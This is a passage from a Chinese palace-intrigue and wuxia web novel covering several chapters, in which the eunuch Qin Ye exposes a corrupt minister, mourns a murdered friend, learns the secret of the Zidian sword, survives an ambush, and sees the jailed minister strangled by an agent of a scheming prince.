秦烨看着这一幕，嘴角微微上扬。这位工部尚书，终究是太过轻敌了。以为联络几个官员，就能将他置于死地？在这朝堂之上，能让他秦烨倒下的，还没出生呢。 朝堂之上，张马临的声音有些颤抖。 “臣是看不惯秦烨这阉人胡作非为，此番进言，皆是为朝廷着想，绝非无的放矢……” 话未说完，他便感受到了四面八方投来的异样目光。这些目光让他心里发虚，额头渗出细密的汗珠。殿内的气氛凝重得仿佛能滴出水来，连呼吸都变得小心翼翼。 秦烨站在朝臣之中，嘴角微微上扬。他早就料到今天这一幕。昨日张马临暗中串联朝臣，想要借机除掉自己的消息，早已传到他耳中。 “这位工部尚书大人，还是太过心急了。”秦烨暗自摇头。 龙座之上，上官瑾凤眸微眯，淡淡开口：“张大人既然要弹劾秦烨，想必是有确凿证据？” 张马临心中一颤，双手不自觉地绞在一起。证据？他哪来的证据！不过是想借着朝臣的力量，逼迫陛下出手对付秦烨罢了。 可现在，那些昨日拍着胸脯答应支持的大臣，一个个都装聋作哑。他们躲在朝臣队列中，低着头，生怕被牵连其中。 “这个……”张马临额头的汗珠更密了，声音也开始发颤，“证据自然是有的，只是……” “只是什么？”上官瑾的声音陡然冷了下来，殿内温度仿佛骤降几分。 就在这时，一个声音打破了沉寂：“臣有证据。” 张马临猛地转头，看到司马辉从朝臣中走出。他心头一喜，虽然不明白为何与秦烨交好的司马辉会站出来帮自己，但此刻他已顾不得多想。 “司马大人请讲。”张马临连忙说道，声音中带着几分迫切。 司马辉看了他一眼，目光中带着几分怜悯：“张大人莫急，老夫手中的证据，可不是针对秦烨的。” 张马临心头一跳，隐约感觉不妙。他下意识地后退半步，脚下一个踉跄，差点摔倒。 “而是……”司马辉缓缓道，“针对张大人您的。” 这句话如同一记重锤，砸得张马临踉跄后退。他的脸色瞬间变得惨白，额头上的冷汗如同断了线的珠子般滚落。 司马辉从袖中取出一叠文书，恭敬呈上。上官瑾接过后仔细翻看，俏脸渐渐沉了下来。 “张马临，你可知罪？” 文书上记载的，是张马临这些年来的种种劣迹。趁灾荒中饱私囊，克扣赈灾粮饷，甚至私吞朝廷军饷……每一条都足以让他万劫不复。 “这不可能……”张马临喃喃自语，双腿一软，扑通跪倒在地，“陛下明鉴！这些都是诬陷，都是诬陷啊！” “诬陷？”司马辉冷笑，从怀中又取出几份文书，“这些都是实打实的证据，每一条都有据可查。这是你亲笔所书的账册，这是你收受贿赂的清单，这是你克扣军饷的证据……” 张马临面如死灰。他终于明白为什么那些大臣今日不敢站出来支持他了。秦烨早就掌握了他的罪证，那些大臣的把柄想必也在秦烨手中。 他看向秦烨，只见对方神色平静，仿佛一切都在预料之中。这个年轻人，什么时候已经成长到如此地步？ “张大人，”秦烨终于开口，声音不疾不徐，“昨日你串联朝臣想要对付我时，可曾想过今日的局面？” 张马临浑身一颤，不敢答话。 秦烨继续道：“你以为我不知道，这些年你暗中收买了多少人手？你以为我不知道，你在各地布置了多少眼线？” “你……”张马临瞪大了眼睛，“你早就……” “是啊，我早就知道。”秦烨淡淡一笑，“从半年前开始，你的每一个举动，我都了如指掌。” 半年前？张马临回想起半年前发生的事。那时他刚刚开始暗中调查秦烨，却不知不觉中，自己的一举一动都落入了对方眼中。 “不可能……”张马临喃喃道，“你怎么可能……” 秦烨没有再说话，只是静静地看着他。这种平静的目光，反而让张马临更加恐惧。 端木正府上搜出的那些罪证，足以让张马临万劫不复。只是没想到，司马辉的动作如此迅速。那些账本、书信，每一样都像是一把利刃，直指张马临的要害。 “这张大人，怕是要完了。”有大臣低声议论。 “嘘，小声点。”另一人警惕地看了眼四周，“这位秦公公可不是好惹的。” 群臣们的目光不时瞥向秦烨，眼中满是忌惮。短短数日之间，两位朝廷重臣相继倒台，而这一切的源头，都指向了这位年轻的太监总管。有人暗自庆幸自己平日与秦烨交好，也有人懊悔曾经得罪过他。 殿内气氛凝重，张马临面如死灰地跪在地上。他的官服已经不复整洁，额头上的冷汗不断滑落。他怎么也没想到，自己会落得如此下场。 “张马临。”上官瑾的声音响起，冰冷彻骨，“端木正府上搜出的账本，可是你的手笔？” “陛下明鉴！”张马临猛地叩首，“那些账本定是有人栽赃陷害！臣对陛下一片忠心，怎会做出这等事来？” 秦烨冷眼旁观。这张马临到了这个时候，还在狡辩。只是可惜，证据确凿，就算他说破天去，也无济于事。 “忠心？”上官瑾冷笑一声，“朕且问你，去年江南水患，赈灾银两为何短缺？” 张马临身子一颤：“这……这……” “还有西北军饷，为何迟迟不发？” “臣……臣……” 上官瑾一拍龙座扶手：“说！” 张马临浑身一抖，额头重重磕在地上：“陛下饶命！臣知错了！” 这一声认罪，让殿内众人神色各异。有人暗自摇头，有人幸灾乐祸，更多的人则是在思索这其中的利害关系。 就在这时，民部尚书陈云翔站了出来：“陛下，臣以为此事还需详查。” 第一百零三章 当务之急 张马临眼中浮现起希望，他知道陈云翔与自己有些交情，或许能在这关键时刻救自己一命。 但很快，他就听到陈云翔接下来的话：“为防止有人销毁证据，不如先将张大人立即收押入狱，待查明真相后再做定夺。” 这话说得滴水不漏，既显示了自己的公正，又给了张马临致命一击。秦烨不禁在心中赞叹，这陈云翔果然是个老狐狸。 “准奏。”上官瑾淡淡道，“即刻将张马临收押刑部大牢。” 禁军上前，架起瘫软的张马临。他的目光扫过殿内众人，最后落在秦烨身上，眼中满是怨毒。 朝堂上顿时暗流涌动。端木正和张马临的位置空了出来，这对不少人来说，无疑是个千载难逢的机会。有人已经开始盘算着如何上位，有人则在思考要不要改换门庭。 退朝后，秦烨没有立即回承明殿偏殿。武勇的小师妹沈飞雪的伤势还需要照看，这才是当务之急。 走出皇城南门时，守门侍卫恭敬地行礼：“秦公公慢走。” 秦烨微微颔首，迈步向外走去。春日的阳光洒在青石板上，暖洋洋的，却让他感觉不到半分温度。 忽然，他停下了脚步。 宫门外，秦烨远远就看到了一道熟悉的身影。 武勇站在那里，神色凝重，眉头紧锁，双手不自觉地握紧又松开，显然内心正承受着巨大的压力。他的目光不时扫向宫门，又很快移开，仿佛在躲避着什么。 “武勇？”秦烨快步上前，注意到武勇眼底的血丝和憔悴，“你怎么在这儿等着？” 武勇转身见到秦烨，肩膀明显颤抖了一下，脸上神色复杂，声音有些沙哑：“恩公，我……我有要事相告，但进不了宫，只能在此等候。” 秦烨注意到武勇的异常，心头一紧。往日里稳重沉着的武勇，此刻竟显得如此慌乱，这绝非小事。“出什么事了？” 武勇的目光游移不定，喉结滚动了几下，似乎在组织语言。良久，他才艰难开口，眼中闪过一抹悲痛：“赵马玄兄弟……他遇害了。” “什么？”秦烨如遭雷击，双腿一软，几乎站立不稳。 赵马玄，那个豪气干云的汉子，那个在兵器录上都有名号的高手，那个前几日还与他把酒言欢的兄弟，怎么可能说没就没了？ “你……你确定消息属实？”秦烨的声音都在颤抖，他不愿相信这个残酷的事实。 “我亲眼所见。”武勇叹了口气，眼角泛红，“今早柳会长派人通知我，我立刻赶到玄铁会……整个帮派血流成河，赵兄倒在会客厅……” 说到这里，武勇的声音哽咽了。他用力握紧拳头，指甲深深陷入掌心，似乎想用疼痛来压制内心的悲痛。 秦烨胸口发闷，一股悲痛如潮水般涌上心头。他与赵马玄虽然相识不久，但那份江湖情谊却是真挚的。如今天人永隔，这种打击让他一时难以接受。 周围的喧嚣仿佛在这一刻全部消失，秦烨的耳边只剩下自己急促的心跳声。他深吸几口气，强迫自己冷静下来：“现场情况如何？可有线索？” “玄铁会被翻得底朝天，到处都是打斗的痕迹。”武勇压低声音，四下张望了一下，“但最可怕的是，我在现场感受到一股极其恐怖的剑气残留。那种剑气……那种剑气……” 武勇说到这里，不由自主地打了个寒颤，脸色变得更加苍白。 “什么样的剑气？”秦烨追问道。 “就是一剑。”武勇神色凝重，声音中带着一丝颤抖，“仅仅一剑，就破了赵兄所有的功夫。他根本没有还手之力就……” 秦烨瞳孔一缩，心中升起一股寒意。能有这等实力的人，在整个江湖中都是凤毛麟角。突然，一个名字闪电般划过他的脑海。 “芮容霄！”两人异口同声。 秦烨的大脑飞速运转，电光火石般闪过一个念头：“他是冲着紫电剑来的。” “紫电剑？”武勇一愣，随即恍然大悟，“难怪整个玄铁会都被翻了个遍。他们是在找剑！” “赵兄应该没说出剑的下落。”秦烨沉声道，“否则他们不会大动干戈。” “恩公，剑现在……” “放心，在一个绝对安全的地方。”秦烨打断道，目光警惕地扫视四周，“不过这里不是说话的地方，先回府再说。对了，嫂嫂她……” “商媛嫂子暂时安顿在您府上。”武勇道，“她很伤心，一夜未眠。” 回到秦府，穿过庭院时，空气中弥漫着一股压抑的气息。院子里往日热闹的仆从们都噤若寒蝉，低着头快步走过，生怕打扰到什么。 在客厅里，果然看到商媛憔悴的身影。她双目无神地坐在那里，面容枯槁，整个人仿佛一下子苍老了十岁。 看到秦烨进来，商媛浑身一颤，再也忍不住，扑到他怀里失声痛哭：“贤弟……你赵兄他……他……” “嫂嫂节哀。”秦烨轻轻拍着她的后背，感受到她身体的颤抖，“赵兄的仇，我一定会替你讨回来。” 商媛哭累了，在秦烨怀中沉沉睡去。将她安顿好后，秦烨问起沈飞雪的情况。 “小师妹已经能下床了。”武勇道，“不过……”他欲言又止。 “不过什么？” “她的状态很不对劲。”武勇皱眉道，“自从醒来后，整个人都很恍惚，有时候会突然发呆，像是在回忆什么。而且……” “而且什么？” “而且她总是在问紫电剑的事。”武勇压低声音，“我总觉得她好像知道些什么，但又不愿说出来。” 秦烨点点头：“我得去见见她，有些事情必须问清楚。” 这紫电剑的秘密，他必须弄明白。否则，只怕还会有更多无辜的人因此丧命。 走在府中长廊上，秦烨心事重重。 赵马玄之死，不仅仅是一个朋友的离去，更预示着一场更大的风暴即将来临。那把紫电剑，究竟有什么秘密，竟让芮容霄不惜一切代价也要得到？ 芮容霄此人，向来行事诡秘。这次如此明目张胆地对赵马玄下手，必定是为了某个重要的目的。而这个目的，很可能就藏在紫电剑中。 第一百零四章 杀身之祸 秦烨握紧了拳头，他决不能让赵马玄白白牺牲。不管真相是什么，他都要查个水落石出。 这时，一阵微风拂过，带来了淡淡的药香。沈飞雪的房间就在前方，秦烨深吸一口气，抬步走了过去。 门前站着两个丫鬟，见到秦烨来了，连忙行礼。 “小姐这会儿刚用过药。”其中一个丫鬟小声道，“不过她一直在等公子。” 秦烨点点头，他站在沈飞雪的房门外，手指轻轻摩挲着门框上的纹路。夜色已深，走廊里只剩下几盏昏黄的灯笼在风中摇曳，投下斑驳的影子。他深吸一口气，推开了房门。 木门发出一声轻响，沈飞雪正背对着门口整理衣裙。听到声音，她下意识回头，看清来人后眉头微蹙。 “这么晚了，有事？”她的声音带着几分疏离。 秦烨没有立即回答，而是慢慢走进房间，顺手关上了门。脚步声在寂静的房间里格外清晰，他能感觉到沈飞雪的身体微微绷紧。 “紫电剑的秘密，是时候告诉我了。”他停在房间中央，目光直视着沈飞雪。 沈飞雪的手指无意识地揪住了衣角，眼神闪烁：“我说过很多次了，这件事不能告诉你。” “为什么？” “这会给你带来杀身之祸。” 秦烨冷笑一声，踱步到窗边。月光透过窗棂洒在他的侧脸上，勾勒出一道锋利的轮廓。“赵兄知道紫电剑的秘密吗？” “不……不知道。”沈飞雪的声音有些颤抖。 “既然不知道，为什么他也死了？”秦烨猛地转身，一掌拍在桌上。茶杯震动，发出清脆的碰撞声。 沈飞雪被这突如其来的怒气吓了一跳，她后退半步，靠在墙边。“这件事……确实出乎我的意料……” “出乎你的意料？”秦烨冷笑着打断她，“事到如今，我们已经深陷其中，想躲也躲不开了。你以为不说就能保护所有人吗？” 房间里的空气仿佛凝固了。沈飞雪低着头，手指绞在一起。她能感受到秦烨的目光如有实质般压迫着她。 “要么现在就告诉我真相，要么……”秦烨顿了顿，声音变得阴冷，“我只能用些不太光彩的手段了。” 沈飞雪猛地抬头，惊慌道：“你想做什么？” “让我来猜猜。”秦烨没有直接回答，而是开始在房间里踱步。木地板发出细微的吱呀声，像是某种无形的压力在积累。 “紫电剑本身并没有什么特别之处，我亲手摸过它。”他停下脚步，转向沈飞雪，“它更像是一把钥匙……” 沈飞雪的瞳孔猛地收缩，呼吸也变得急促起来。 “看来我猜对了。”秦烨嘴角勾起一抹冷笑，“而且，这样的"钥匙"应该不止一把。” “你……”沈飞雪惊讶地看着他，话到嘴边又咽了回去。 “你从一开始就对紫电剑格外关注，这说明你早就知道它的秘密。”秦烨继续分析道，“秦清月不但没杀你，还收你为徒。这意味着你的身份不简单。” 他走到沈飞雪面前，距离近得能感受到对方急促的呼吸：“你或者你的家族，一定也拥有类似的"钥匙"。你之所以不肯说，除了担忧我们的安危，更多的是在保护你的家族，对吗？” 沈飞雪脸色煞白，手指无意识地抓紧了衣襟：“你是怎么……” “很简单的推理而已。”秦烨打断她，“武勇说你一直在盯着紫电剑，江湖上还隐藏着许多武学世家。这些线索串起来，答案不就呼之欲出了吗？” “现在，可以说出真相了吗？”秦烨又逼近一步，“否则，我只能去找芮容霄谈谈了。” “你敢！”沈飞雪厉声喝道，眼神凌厉。 “为什么不敢？”秦烨露出阴冷的笑容，“与其等他来杀我，不如主动献上紫电剑。如果再告诉他另一把"钥匙"的下落……” “你可不像这样的人。”沈飞雪打断他的话，声音里带着颤抖。 “我确实不是。”秦烨点点头，随即话锋一转，“但你连这点信任都不给我，凭什么要我冒着生命危险帮你？” 沈飞雪沉默了。月光透过窗户洒在她的脸上，映出她复杂的表情。秦烨说得对，这确实说不过去。 “给你一个小时斟酌。”秦烨转身走向门口，“如果到时候还是不肯说，就别怪我不讲情面了。” “你这是在威胁我？”沈飞雪咬牙切齿地问。 “对付不讲诚信的人，威胁又算什么？”秦烨的手已经搭在了门把手上。 沈飞雪深吸一口气，她能感觉到秦烨已经起了真怒。这个秘密不仅关系到她的性命，更关系到整个家族的存亡。可是现在的处境，似乎已经不允许她继续隐瞒下去了。 “等等。”她轻声说。 秦烨停下脚步，但没有转身。 沈飞雪走到桌边，给自己倒了杯茶。她的手有些发抖，茶水溅出几滴在桌面上。“你真的想知道？” “不然我大半夜来找你喝茶？” 沈飞雪苦笑一声：“你要发誓，绝对不能泄露出去。这不仅关系到我的性命，还关系到整个家族。” “我保证。” “不，你要发誓！”沈飞雪加重了语气。 “好好好，我发誓就是了。”秦烨转过身，有些无奈地摇摇头。 这小师妹还真是单纯得可爱，一个随口的誓言就能让她如此信任。不过既然沈飞雪已经松口，他也不再多想，静静等待她道出真相。 夜色渐浓，房间内的烛火摇曳，在墙上投下跳动的影子。沈飞雪坐在桌边，纤细的手指无意识地摩挲着茶杯边缘，眼神有些恍惚。 “这件事说来话长。”她轻叹一声，目光投向窗外的夜色，仿佛要从漆黑的夜幕中寻找某些遥远的记忆。 秦烨不急不缓地给自己斟了杯茶，茶香袅袅升起，驱散了些许夜晚的寒意。 “江湖上曾有一位绝顶高手。”沈飞雪的声音轻柔，回忆往昔，“此人来历神秘，据说原本只是一个寻常山民，却在一处山洞中得到了几本绝世武功秘籍。” 第一百零五章 东雄图 秦烨端起茶杯，轻轻抿了一口：“所以这人后来怎么样了？” “凭借这几本秘籍，他一跃成为江湖至尊。”沈飞雪的语气中带着敬畏，“当时的五大高手联手，也奈何不了他分毫。江湖中人给他起了个外号，叫东雄图。” “东雄图？”秦烨放下茶杯，眉头微皱，“这名号倒是配得上他的实力。” 烛火忽明忽暗，沈飞雪的脸上神色变幻：“他修炼的第一门功法名为七星养气诀。这功法在江湖上广为流传，但都是残篇，完整版本至今下落不明。” 听到这个名字，秦烨心头一震。他修炼的不正是七星养气诀吗？难道自己练的也是残篇？一时间，诸多疑问在心头涌动。 “第二门功法……”沈飞雪的声音突然变得凝重，眼中闪过一丝忌惮，“叫噬月大功。此功可吸他人功力为己用，手段极其歹毒。二十年前最后一位修炼者被江湖群雄围剿而死，从此失传。” 窗外传来几声虫鸣，打破了室内短暂的沉默。 “那第三门呢？”秦烨追问道，目光灼灼地盯着沈飞雪。 “第三门名为天地大挪移。”沈飞雪说到这里，不自觉地压低了声音。 秦烨眼前一亮：“如果我没猜错，这门功夫能将他人武功转移到自己身上？难怪东雄图能纵横天下，无人能敌。” 沈飞雪惊讶地看了他一眼，显然没想到他能一语道破其中关键。她站起身来，走到窗边，望着外面的夜色。 “不过这些和紫电剑有什么关系？”秦烨问出了最关键的问题。 沈飞雪转过身，月光从窗外洒进来，为她清丽的面容镀上一层银辉：“传闻东雄图临终前将这三门功法的原本带入墓中。而打开墓门需要三件宝物——紫电剑、玄冰剑和斩龙刀。” “原来如此。”秦烨恍然大悟，“你们家有斩龙刀，但玄冰剑下落不明，所以紫电剑对你们来说也就没那么重要了。” 沈飞雪点头叹息：“都被你说中了，你满意了吧？” “芮容霄为了这些武功秘籍大开杀戒，看来不会轻易罢手。”秦烨皱眉道。 与此同时，藩王府中。 灯火通明的书房内，上官煜正在批阅文书。明远快步走了进来，脚步声在安静的夜里格外清晰。 “主上，查到了一些线索。”明远单膝跪地，“玄铁会帮主赵马玄与一个叫秦烨的人交好，此人在拍卖会上对紫电剑表现出极大兴趣。更重要的是，他身边似乎有秦清月的徒弟。” “秦烨？”上官煜放下手中的毛笔，眉头微皱，“这名字怎么有些耳熟？” “主上可还记得，赵马康曾禀报过此人，建议除掉他……” 上官煜的脸色骤然阴沉。原本以为只是个不足为虑的小太监，没想到竟然搅动了这么大的风浪。看来是自己太过轻敌了。 “此子不除，恐成大患。”上官煜眼中闪过一丝寒光，手指轻轻叩击着桌面，“让人动手吧，要做得干净些。” “是！”明远领命而去，脚步声渐渐消失在长廊尽头。 书房内，上官煜站起身来，负手而立。窗外的月光洒在他俊朗的面容上，却映照出一片阴霾。 另一边，秦烨并不知道，一场针对他的暗杀正在酝酿。此时的他正在思索着东雄图的三门绝学。 七星养气诀他已经修炼，虽然不知是否完整。若能得到其他两门功法，实力必定突飞猛进。但现在的关键是找到玄冰剑的下落。 沈飞雪看着沉思的秦烨，欲言又止。她知道这些秘密已经将秦烨卷入一场惊天阴谋中，但事已至此，也只能走一步看一步了。 “秦公子，接下来你有什么打算？”沈飞雪轻声问道，声音里带着一丝担忧。 秦烨回过神来，看着沈飞雪关切的眼神，心中一暖：“先找到玄冰剑的线索吧。不过在这之前，我们得提防芮容霄的追杀。” “那我们……” “暂时避其锋芒为上。”秦烨打断道，“等风头过去，再做打算。” 沈飞雪点点头，对秦烨的决定表示赞同。虽然她性格单纯，但也明白现在不是逞强的时候。 夜色渐浓，宫殿内灯火通明。明远正向上官煜汇报，神情凝重：“主上，工部尚书张马临被下狱了。” 上官煜闻言手中的朱笔微微一顿。殿内一时寂静，只有烛火摇曳的声响。他缓缓抬起头，眼中闪过一丝寒光：“怎么回事？” “是贪污案发了。”明远低着头，声音压得更低，“朝廷已经派人将他收押，现在正关在大理寺。” 上官煜放下朱笔，手指轻轻敲击着案几。烛光映照下，他的面容显得格外阴沉。张马临掌管工部多年，知道太多不该知道的秘密。若是他开口，后果不堪设想。 殿内的气氛越发凝重，连呼吸声都变得清晰可闻。 “杀了吧。”上官煜淡淡开口，仿佛只是在说一件微不足道的小事。 明远浑身一震：“是！属下这就去安排。” “等等。”上官煜突然出声，“那个秦烨，现在住在本王的藩王府？” 提到这个名字，明远的语气中带着明显的怒意：“正是！那阉人竟敢占据主上的府邸，实在该死！” 上官煜嘴角勾起一抹意味深长的笑意：“既然如此，不如回家看看。” “备车！” 与此同时，汴城商会外，一辆马车正在飞驰，车轮碾过石板路发出哒哒的响声，扬起阵阵尘土。 “再快些！”柳霜华坐在车厢内，声音中带着掩饰不住的焦急。她的手指紧紧攥着衣角，指节发白。 车夫擦了擦额头的汗水：“小姐，这已经是极限了，再快马儿就要受不住了。” 柳霜华却顾不得这些。刚才她从商会的密探那里得到消息，阳家已经向一位大人物通报了秦烨和赵马玄的关系。想到赵马玄的下场，她不禁为秦烨捏了一把冷汗。 阳家父子死在秦烨手上，如今抓住这个机会，自然要借刀杀人。连赵马玄这样的高手都栽了，秦烨岂能幸免？ 马车在汴城街道上颠簸前行，柳霜华的心却早已飞到了秦烨那里。路上行人纷纷避让，有人抱怨这马车太过莽撞，却也只能无奈摇头。 第一百零六章 送走嫂嫂 秦府内，秦烨听完沈飞雪介绍完，觉得事不宜迟，必须连夜撤离汴城。 他快步走向内室，去叫醒了还在休息的商媛。 “嫂嫂，不能再待在这了，我们必须马上离开。” 商媛闻言就要拼命：“我不走，我要为夫君报仇！现在走了，还有机会报仇吗？” “留得青山在，不怕没柴烧。”秦烨劝道，“现在的当务之急是保住性命。” 赶来的武勇也在一旁相劝：“夫人，秦公子说得对。现在不是意气用事的时候。” 商媛眼中含泪，最终还是勉强点头同意。沈飞雪帮她收拾了几件简单的行李，随即上了马车。武勇则充当起了车夫。 就在此时，一阵急促的敲门声突然响起。 砰砰砰！ 声音在寂静的夜色中格外刺耳。众人心头一紧，手已经按在了兵器上。但秦烨却很快冷静下来。以芮容霄的性子，若是找上门来，哪还用得着敲门？ 开门一看，却是柳霜华满脸焦急地站在门外。月光下，她的脸色显得格外苍白。 “秦烨，快走！阳家已经告密……” “我知道。”秦烨打断她的话，“你也快离开，别被牵连进来。这件事与你无关。” 柳霜华欲言又止，最终只是点点头，转身消失在夜色中。 秦烨回头看向武勇：“找个僻静处躲起来，这段时间别轻易露面。等风声过了再说。” “那恩公你呢？”武勇担忧地问道。 “我自有去处，咱们分开行动更安全。”秦烨的语气不容置疑。 武勇还想说什么，秦烨却不耐烦地挥手：“别废话了，赶紧走！再晚就来不及了。” “恩公保重！”武勇一抱拳，驾车离去。马蹄声在寂静的夜色中渐渐远去。 秦烨目送马车消失在街角，此时此刻，分开行动确实是最明智的选择。 大周皇城外的街道上，秦烨缓步而行，夜风萧瑟，卷起地上的落叶，在空中打着旋儿。 赵马玄的死讯还在他脑海中回荡，挥之不去。那个能在兵器录上留名的高手，就这样陨落了。想到这里，秦烨不由得攥紧了拳头，指甲深深陷入掌心的肉里。 “青云教……”他低声呢喃，面色凝重。 这个神秘组织的实力远超他的想象。能让赵马玄这样的高手都饮恨，背后定有通天的能量。秦烨抬头望向天际，暮色渐沉，皇城巍峨的轮廓在夕阳下显得格外雄伟。 秦府离皇城不远，几步就能望见城门。守城的禁军远远看见他，纷纷露出谄媚的笑容。 “秦公公来了！” “秦总管好！” 几个禁军小跑着迎上前，脸上堆满笑容。秦烨正要抬手回礼，身后突然传来急促的马蹄声，打破了这份平静。 “站住！秦烨！”一声厉喝划破长空。 这声音让秦烨眉头一皱，如今的大周，敢直呼他名字的人已经不多了。他转身望去，只见一辆镶金嵌玉的华贵马车疾驰而来，车夫一身青衣，目光凌厉地盯着他。 “主上，就是他。”青衣车夫回头低声禀报。 马车里传出一个淡漠的声音：“拦住他，别让他进城。”声音不大，却透着一股不容置疑的威严。 “是！” 青衣人纵身一跃，从马车上跳下。他的动作快若闪电，手中软剑出鞘的瞬间，剑气已至秦烨面前。这一剑来势汹汹，秦烨能感受到其中蕴含的杀机。 “好强的剑气！”秦烨心中一凛，对方的实力恐怕不在赵马玄之下。 守城的禁军见状，纷纷抽出兵器冲上前来。“大胆！敢对秦总管出手！” “兄弟们上！拿下这个狂徒！” 秦烨连忙喊道：“都退下！此人实力不俗，你们不是对手！” 话音未落，青衣人已经出手。只见他手腕轻抖，几道凌厉剑气横扫而出。 “噗噗噗！” 冲在最前面的几个禁军瞬间被击飞，重重摔在地上，口吐鲜血。其他禁军见状，脸色大变，不由自主地后退几步。 “蝼蚁一般。”青衣人冷笑一声，眼中闪过一丝不屑。 秦烨眯起眼睛：“你是青云教的人？” 青衣人不答，提剑逼近：“跟我走一趟。”剑尖直指秦烨胸口，寒光闪烁。 “如果我说不呢？”秦烨语气平静，但身体已经绷紧，随时准备应对可能的攻击。 “那就别怪我不客气了。” 青衣人剑势陡变，一道道剑气如银蛇般缠绕而来。剑光闪烁间，周围的空气仿佛都被切割成碎片。秦烨双手握拳，全身真气流转。这一刻，他感受到了前所未有的压力。 对方的实力，远超他的预料。剑气呼啸而至，秦烨不退反进。他双手探出，直接抓向那闪烁寒光的剑锋。 “找死！”青衣人冷哼一声，剑势骤然加重。 秦烨只觉双臂一麻，一股巨大的力道传来。他连退数步，直到撞在城墙上才堪堪止住。厚重的城墙被撞出蛛网般的裂痕，碎石纷纷落下。 “有点本事。”青衣人眼中闪过一丝诧异。他没想到一个太监，居然能空手接他的剑。 秦烨深吸一口气，双手死死握住剑身。鲜血顺着他的手掌滴落，在地上汇成一小滩。青衣人加大力道，剑气暴涨。秦烨的手掌被剑气割得鲜血直流，但他丝毫不为所动。 “力气不错，可惜……”秦烨突然露出一丝笑意，“还差了点！” 他双臂猛然用力，全身真气在这一刻爆发。“咔嚓！”那柄寒光凛凛的软剑，竟被他生生捏碎！巨大的反震力让青衣人连退数十步，差点摔倒。 青衣人难以置信地看着手中断剑，脸色变得极为难看。他从未见过有人能用双手硬接他的剑，更别说将其捏碎。 秦烨立在原地，那一式几乎耗尽了他全部的力量。冷汗顺着额头滑落，他的双手微微颤抖，呼吸也变得有些急促。 对方的实力远超他的预料，这让他心中暗暗警惕。刚才那一瞬间的交锋，对方的剑法精妙绝伦，若非他及时变招，此刻恐怕已经命丧当场。 秦烨转身走向城门，留下一句话，“回去好好练练吧。” 第一百零七章 张马临归西 马车外，青衣人明远等到秦烨走入城门，立刻跪地请罪，声音中带着几分懊恼：“主上，属下无能，未能拦住此人。” 上官煜坐在车内，眉头微皱。他轻轻摩挲着手中的玉扳指，目光深邃。秦烨的实力确实出乎意料，这个太监总管比他想象中要难对付得多。 “无妨。”上官瑾挥了挥手，目光投向皇城方向。远处传来整齐的脚步声，黑压压的禁军队伍正从城门涌出，铁甲在阳光下闪烁着寒光。 “撤。”上官瑾淡淡吐出一个字，语气中却带着不容置疑的威严。 明远立刻起身，翻身上马车，扬鞭驾车离去。马车很快消失在街道尽头，只留下一地尘土。 幸霆看着远去的马车，一脸震惊地问道：“公公，那些人是什么来历？竟敢在皇城外动手？”他的手按在刀柄上，眼中满是愤怒。 “敌人。”秦烨神色凝重，擦了擦额头的冷汗。刚才那一战，让他深深感受到了对方的可怕实力。 幸霆虽然不明就里，但立即下令：“兄弟们，随我追！这些贼人胆敢在皇城外行凶，决不能让他们逃了！” “且慢。”秦烨伸手拦住他，声音沙哑，“那些人的实力远在你们之上，追上去只是白白送死。” “可是公公……”幸霆还想说什么，却被秦烨摆手打断。 “陛下那边我自会解释，不会怪你们的。”秦烨叹了口气，“先护送我回宫。” 一行人护送着秦烨回到承明殿偏殿。路上，秦烨的心思一直在回想着刚才的战斗。对方的剑法精妙，显然是青云教的高手。但青云教和上官煜之间，究竟是什么关系？ 回到偏殿，秦烨坐在案前，思绪纷乱。案上的茶水已经凉了，他却浑然不觉。上官煜是青云教的教主？还是其中的某个长老？亦或只是合作关系？种种可能在他脑海中闪过。 突然，他想起一个人——工部尚书张马临。作为上官煜的心腹，张马临或许知道些什么。想到这里，秦烨立即唤来沈化林：“随我去一趟刑部大牢。” 沈化林默默点头，眼中闪过一丝担忧。今日在城门口的遭遇，让他也心有余悸。对方显然是忌惮皇城，才没有继续追击。而且，今天出手的人，绝非那位兵器录第一的芮容霄。 若是芮容霄亲自出手，只怕连他也难以护住秦烨周全。这次失手，对方必定还会再来。秦烨不得不防。 片刻后，藩王府中。 上官煜正在听苏华汇报巫域战事。宽敞的书房内，檀香袅袅，却掩不住一丝肃杀之气。 “主上，陈阳正率军攻破数十苗寨，若非法女和诸位长老及时赶到，我们的损失会更大。”苏华跪在地上，声音微颤。 “法女如何？”上官煜立即追问，语气中带着明显的关切。他放下手中的茶盏，目光灼灼地盯着苏华。 “受了些伤，但已经没有大碍。”苏华小心回答，不敢抬头直视主上的眼睛。 “砰！”上官煜一拳砸在案上，茶盏翻倒，茶水洒了一桌。他眼中闪过一丝狠厉，“陈阳正，你找死！” 片刻后，他深吸一口气，沉声道：“进宫。” “主上要？”明远问道，眼中闪过一丝疑惑。 “向陛下讨要一道圣旨。”上官煜眼中闪过一丝寒光，“为法女。” 几年前他曾向皇兄求要这道圣旨，被直接拒绝。如今，他要通过侄子来达成所愿。想到这里，他嘴角勾起一抹冷笑。 “对了。”上官煜又道，“张马临那边……” “属下明白。”明远躬身应道。张马临知道太多秘密，必须除掉。他转身离去，脚步轻快，仿佛要去办一件微不足道的小事。 刑部大牢内。 明远凭借上官煜的关系，轻易进入重兵把守的牢狱。阴暗潮湿的走廊上，火把的光芒摇曳不定，将他的影子拉得老长。 穿过幽暗的走廊，他来到一间单人牢房前。铁栅栏后，张马临正坐在稻草堆上，面如死灰。作为前任工部尚书，能独居一间牢房已是他仅有的特权。 张马临蜷缩在阴暗潮湿的地牢角落，身上的官服早已褶皱不堪，沾满污渍。他双手抱膝，目光呆滞地望着墙壁上斑驳的水痕，不时打个寒颤。 铁门“吱呀”一声被推开，明远的身影出现在门口。昏暗的火光下，他那张英俊的脸庞显得格外阴沉。 张马临猛地抬头，眼中闪过一丝希望。他挣扎着想要站起来，双腿却因长期蹲坐而发麻，只能扶着墙壁慢慢起身。 “主……主上……”他的声音因激动而颤抖，“您终于来看我了。” 明远缓步走进牢房，皮靴与地面接触发出清脆的声响。他居高临下地看着狼狈不堪的张马临，嘴角微微上扬。 “是啊，来带你回家。” 张马临闻言，浑身一震。他急切地向前迈了一步，却被脚镣绊住，差点摔倒。“太好了！我就知道主上不会放弃我的。这些日子，我……我……” 话音未落，明远突然伸手掐住了他的脖子。那只手如铁钳般收紧，张马临瞪大了眼睛，双手本能地抓挠着明远的手腕。 “咳……咳咳……”他拼命挣扎，脸色迅速变得铁青。 “魂归故里，也是回家啊。”明远轻笑着说道，手上的力道又加重了几分。 张马临终于明白了什么，眼中满是绝望与不甘。他想说话，却只能发出“呃呃”的声音。渐渐地，他的挣扎变得微弱，最后软软地垂下了手。 